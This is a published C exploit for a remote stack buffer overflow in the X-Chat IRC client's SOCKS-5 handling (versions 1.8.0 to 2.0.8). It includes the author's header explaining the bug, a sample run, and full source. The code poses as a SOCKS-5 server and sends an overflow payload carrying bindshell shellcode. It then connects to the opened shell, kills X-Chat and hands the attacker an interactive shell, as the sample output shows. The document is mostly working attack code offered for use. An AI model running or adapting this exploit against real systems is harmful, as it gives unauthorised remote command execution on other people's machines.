X-Chat[v1.8.0-v2.0.8]: socks-5 remote buffer overflow exploit.
X-Chat socks-5 exploit/explaination(in header).
Original exploit url:
http://fakehalo.deadpig.org/xxchat-socks5.c
------------------------ exploit: example usage ------------------------
# ./xxchat-socks5 2600
[*] X-Chat[v1.8.0-v2.0.8]: socks-5 remote buffer overflow exploit.
[*] by: by: vade79/v9 v9@xxxxxxxxxxxxxxxxxxxx (fakehalo)
[*] eip: 0xbffff5d2, socks-5 port: 1080, bindshell port: 7979.
[*] awaiting connection from: *:1080.
[*] socks-5 server connection established.
[*] sending specially crafted string. (exploit)
[*] socks-5 server connection closed.
[*] checking to see if the exploit was successful.
[*] attempting to connect: 127.0.0.1:7979.
[*] successfully connected: 127.0.0.1:7979.
Linux localhost 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686 unknown
unknown GNU/Linux
uid=501(v9) gid=501(v9) groups=501(v9)
----------------------- exploit: xxchat-socks5.c -----------------------
/*[ X-Chat[v1.8.0 - v2.0.8]: socks-5 remote buffer overflow exploit. ]*
* *
* by: vade79/v9 v9@xxxxxxxxxxxxxxxxxxxx (fakehalo/realhalo) *
* *
* X-Chat homepage: *
* http://www.xchat.org *
* *
* compile: *
* cc xxchat-socks5.c -o xxchat-socks5 *
* *
* trigger bug/workings(X-Chat socks-5 comminucation): *
* 0x05,0x00 *
* 0x05,0x00,0x00,0x03 *
* 0x?? (the size of the following "data", 255MAX(char/int8)) *
* 0x??,0x??,0x?? ... ("data") *
* *
* ie. "\x05\x00\x05\x00\x00\x03\xffxxxxxxxxxxxxxxxxxxxxxxxxxxxx..." *
* *
* the "data", limited by the previous byte, is then copied into a *
* 10 byte buffer labeled buf[]. the idea is to set the size of *
* the incoming data to a larger size than expected(ie. 0xff/255MAX), *
* followed by sending that amount of data to exceed the 10 byte *
* buffer boundary and overwrite memory addresses(stack based). *
* *
* the problem with the size limit is that it is defined in one *
* character(char/int8), making a maximum of up to 255 bytes to be *
* written to buf[]. so, this only leaves about ~100+ nops breathing *
* room per offset. another problem is that the location of the *
* shellcode depends on where/what X-Chat has already done. those *
* two things together make for a very unpractical "in the wild" *
* exploit scenario. *
* *
* i just saw several cryptic advisories about this bug, so i figured *
* i would look into it and see exactly what it was. *
* *
* if X-Chat attempts to connect to a server(through socks-5) *
* immediately upon the start of X-Chat("autoconnect") it will make *
* the shellcode location a bit easier to find. on both source *
* compiled version 1.8.0(on rh7.1) and mandrake's rpm static binary *
* version 2.0.5(on mdk9.1) an offset of 2600 worked. *
* *
* note: the first thing that is sent to the bindshell, upon *
* successful exploitation, is "killall -9 xchat". this will kill *
* X-Chat, but still keep the bindshell alive/active. when searching *
* for the correct offset, use increments of 100(100,200,300,...). *
**********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 255
#define BSEADDR 0xbffffffa
#define DFLPORT 1080
#define DFLSPRT 7979
#define TIMEOUT 5
static char x86_exec[]= /* bindshell(??), netric based. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
char *getcode(unsigned int);
char *socks5_bind(unsigned short,unsigned int);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
int main(int argc,char **argv){
unsigned short port=DFLPORT,sport=DFLSPRT;
unsigned int retaddr=BSEADDR;
char *hostptr;
if(BUFSIZE<0||BUFSIZE>255)printe("BUFSIZE must be 1-255(char/int8).",1);
printf("[*] X-Chat[v1.8.0-v2.0.8]: socks-5 remote buffer overflow exp"
"loit.\n[*] by: by: vade79/v9 v9@xxxxxxxxxxxxxxxxxxxx (fakehalo)\n\n");
if(argc<2){
printf("[!] syntax: %s <offset from 0x%.8x> [port] [shell port]\n\n",
argv[0],BSEADDR);
exit(1);
}
if(argc>1)retaddr-=atoi(argv[1]);
if(argc>2)port=atoi(argv[2]);
if(argc>3)sport=atoi(argv[3]);
x86_exec[20]=(sport&0xff00)>>8;
x86_exec[21]=(sport&0x00ff);
printf("[*] eip: 0x%.8x, socks-5 port: %u, bindshell port: %u.\n",
retaddr,port,sport);
hostptr=socks5_bind(port,retaddr);
sleep(1);
getshell(hostptr,sport);
exit(0);
}
char *getcode(unsigned int retaddr){
unsigned char i=0;
char *buf;
if(!(buf=(char *)malloc(BUFSIZE+1)))
printe("getcode(): allocating memory failed.",1);
memset(buf,0x90,BUFSIZE);
for(i=0;i<64;i+=4){*(long *)&buf[i]=retaddr;}
memcpy((buf+BUFSIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));
return(buf);
}
char *socks5_bind(unsigned short port,unsigned int retaddr){
int ssock=0,sock=0,so=1;
socklen_t salen=0;
unsigned char *buf;
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
printf("[*] awaiting connection from: *:%d.\n",port);
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind socket.",1);
listen(ssock,2);
bzero((char*)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
close(ssock);
printf("[*] socks-5 server connection established.\n");
if(!(buf=(unsigned char *)malloc(BUFSIZE+7+1)))
printe("socks5_bind(): allocating memory failed.",1);
memcpy(buf,"\x05\x00\x05\x00\x00\x03",6);
buf[6]=BUFSIZE;
memcpy(buf+7,getcode(retaddr),BUFSIZE);
printf("[*] sending specially crafted string. (exploit)\n");
write(sock,buf,BUFSIZE+7);
free(buf);
sleep(1);
close(sock);
printf("[*] socks-5 server connection closed.\n");
return(inet_ntoa(sa.sin_addr));
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id ;killall -9 xchat\n",30);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)exit(1);
return;
}